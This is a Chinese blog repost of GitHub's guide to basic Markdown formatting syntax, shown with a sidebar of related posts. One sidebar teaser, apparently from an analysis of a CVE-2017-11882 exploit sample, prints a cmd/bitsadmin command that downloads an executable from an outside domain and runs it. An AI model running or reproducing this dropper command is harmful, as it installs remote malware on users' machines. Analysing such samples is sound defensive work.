文档章节

Markdown语言快速参考

openthings
 openthings
发布于 2016/04/09 10:58
字数 809
阅读 60
收藏 1

Basic writing and formatting syntax

Create sophisticated formatting for your prose and code on GitHub with simple syntax.

Headings

To create a heading, add one to six # symbols before your heading text. The number of # you use will determine the size of the heading.

# The largest heading
## The second largest heading
###### The smallest heading

Rendered H1, H2, and H6 headings

Styling text

You can indicate emphasis with bold, italic, or strikethrough text.

Style Syntax Keyboard shortcut Example Output
Bold ** ** or __ __ command/control + b **This is bold text** This is bold text
Italic * * or _ _ command/control + i *This text is italicized* This text is italicized
Strikethrough ~~ ~~
~~This was mistaken text~~ This was mistaken text
Bold and italic ** ** and _ _
**This text is _extremely_ important** This text is extremely important

Quoting text

You can quote text with a >.

In the words of Abraham Lincoln:

> Pardon my French

Rendered quoted text

Tip: When viewing an issue or pull request, you can automatically quote text in a reply by highlighting the text, then typing r. For more information, see "Using keyboard shortcuts."

Quoting code

You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted.

Use `git status` to list all new or modified files that haven't yet been committed.

Rendered inline code block

To format code or text into its own distinct block, use triple backticks.

Some basic Git commands are:
```
git status
git add
git commit
```

Rendered code block

For more information, see "Creating and highlighting code blocks."

Links

You can create an inline link by wrapping link text in brackets [ ], and then wrapping the URL in parentheses ( ). You can also use the keyboard shortcut command + k to create a link.

This site was built using [GitHub Pages](https://pages.github.com/).

Rendered link

Tip: GitHub automatically creates links when valid URLs are written in a comment. For more information, see "Autolinked references and URLS."

Lists

You can make a list by preceding one or more lines of text with - or *.

- George Washington
- John Adams
- Thomas Jefferson

Rendered unordered list

To order your list, precede each line with a number.

1. James Madison
2. James Monroe
3. John Quincy Adams

Rendered ordered list

You can create nested lists by indenting lines by two spaces.

1. Make my changes
  1. Fix bug
  2. Improve formatting
    * Make the headings bigger
2. Push my commits to GitHub
3. Open a pull request
  * Describe my changes
  * Mention all the members of my team
    * Ask for feedback

Rendered nested list

Task lists

You can create task lists by prefacing list items with [ ]. To mark a task as complete, use [x].

Task lists render with checkboxes in all comments and Markdown files. Select or unselect the checkboxes to mark them as complete or incomplete.

- [x] Finish my changes
- [ ] Push my commits to GitHub
- [ ] Open a pull request

Rendered task list

Mentioning users and teams

You can mention a user or team on GitHub by typing @ plus their username or team name to bring their attention to an issue or pull request.

@github/support What do you think about these updates?

Rendered @mention

Typing an @ symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and hit either tab or enter to complete the name. For teams, just enter the @organization/team-name and all members of that team will get subscribed to the issue.

The autocomplete results are restricted to repository collaborators and any other participants on the thread.

Referencing issues and pull requests

You can bring up a list of suggested Issues and Pull Requests within the repository by typing #. Type the issue or PR number or title to filter the list, then hit either tab or enter to complete the highlighted result.

For more information, see "Autolinked references and URLs."

Using emoji

You can add emoji to your writing by typing :EMOJICODE:.

@octocat :+1: This PR looks great - it's ready to merge! :shipit:

Rendered emoji

Typing : will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press Tab or Enter to complete the highlighted result.

For a full list of available emoji and codes, check out emoji-cheat-sheet.com.

Paragraphs and line breaks

You can create a new paragraph by leaving a blank line between lines of text.

Ignoring Markdown formatting

You can tell GitHub to ignore (or escape) Markdown formatting by using \ before the Markdown character.

Let's rename \*our-new-project\* to \*our-old-project\*.

Rendered escaped character

For more information, see Daring Fireball's "Markdown Syntax."

Further reading


本文转载自:https://help.github.com/articles/basic-writing-and-formatting-syntax/

共有 人打赏支持
openthings
粉丝 256
博文 918
码字总数 473772
作品 1
东城
架构师
Markdown快速入门

Markdown 是一种轻量级标记语言,创始人为 John Gruber 和 Aaron Swartz。它允许人们“使用易读易写的纯文本格式编写文档,然后转换成有效的 XHTML/HTML 文档” OSC 博客已支持使用Markdown书...

tsl0922
2012/10/18
13.8K
11
Markdown: Basics (快速入门)

Markdown现在作为写blog的标记语言越来越流行,[github][github]和oschina都支持,于是也学习一下。 段落、标题、区块代码 一个段落是由一个以上的连接的行句组成,而一个以上的空行则会划分...

谦谦君子
2014/03/21
0
2
在Notepad++中使用Markdown

markdown是一种纯文本格式的标记语言。通过简单的标记语法,它可以使普通文本内容具有一定的格式。 Notepad++是一款非常好用的编辑器,下面记录一下怎么让Notepad++支持Markdown。 导入语言格...

东都大狼狗
08/02
0
0
4 种基于 Markdown 的幻灯片生成器

这些简单的幻灯片创建工具可以无缝地使用 Markdown,可以让你的演示添加魅力。 假设你需要做一个演示presentation。在准备的过程中,你想到“我需要写几张幻灯片”。 你可能倾向于简洁的纯文...

11%
06/26
0
0
VS Code 折腾记 - (11) 再来一波插件推荐!(代码片段,框架,Node,touchbar,TS,Git,数据库,python!!)

前言 之前也多多少少写过几篇推荐插件的文章; 因为插件这类东西不是大风刮来的.所以我从最初的半个月推荐, 到现在慢慢接近三个月推荐一次,以后可能会更久也不一定! 优秀的插件需要用户去尝试...

CRPER
2017/11/27
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
13分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
27分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
28分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
39分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部